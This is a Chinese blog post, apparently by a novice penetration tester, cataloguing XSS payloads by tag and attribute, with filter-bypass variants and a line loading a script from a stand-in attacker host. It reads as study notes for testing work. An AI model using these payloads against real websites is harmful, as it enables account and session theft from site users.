初级XSS跨站脚本总结

有点时间没有写东西了,最近加入了一个公司,主要是对网站进行渗透测试–找漏洞;刚刚开始做,所以都还还啦。目前经常遇见的主要是XSS和SQL注入,少部分的是信息泄露,图片上传没有二次编译,任意文件上传,CSRF等。但是在工作中发现自己对XSS脚本的一些语句不太熟练,这下可以总结整理一下了。

Script 标签

Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>

Src属性

<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);> 
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>

事件触发

<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>

a标签

<a href="javascript:alert('xss')">2</a>  //可以去掉双引号
<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a>   //不能去掉双引号
<a href=javascript:eval("&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;")>2</a>  //可以去掉双引号
原code:
<a href=javascript:eval("alert('xss')")>2</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">22222222</a>

input 标签

<input value="" onclick="alert(xss)" type="text"> 
<INPUT name="name" value="01/01/1967" onmouseover=prompt(971874) bad="">
<INPUT name="name" value=""><script>alert(123)</script>

触发事件

<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>

利用0字节绕过

<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> //
在IE9及以下版本有效。

svg标签

当返回结果在svg标签中的时候,会有一个特性
<svg><script>varmyvar="YourInput";</script></svg>

background属性

<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效

poster属性

<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效

data属性

<object     data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="   >

code属性

<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

未完待续……

猜你喜欢

转载自blog.csdn.net/u011215939/article/details/79777471
今日推荐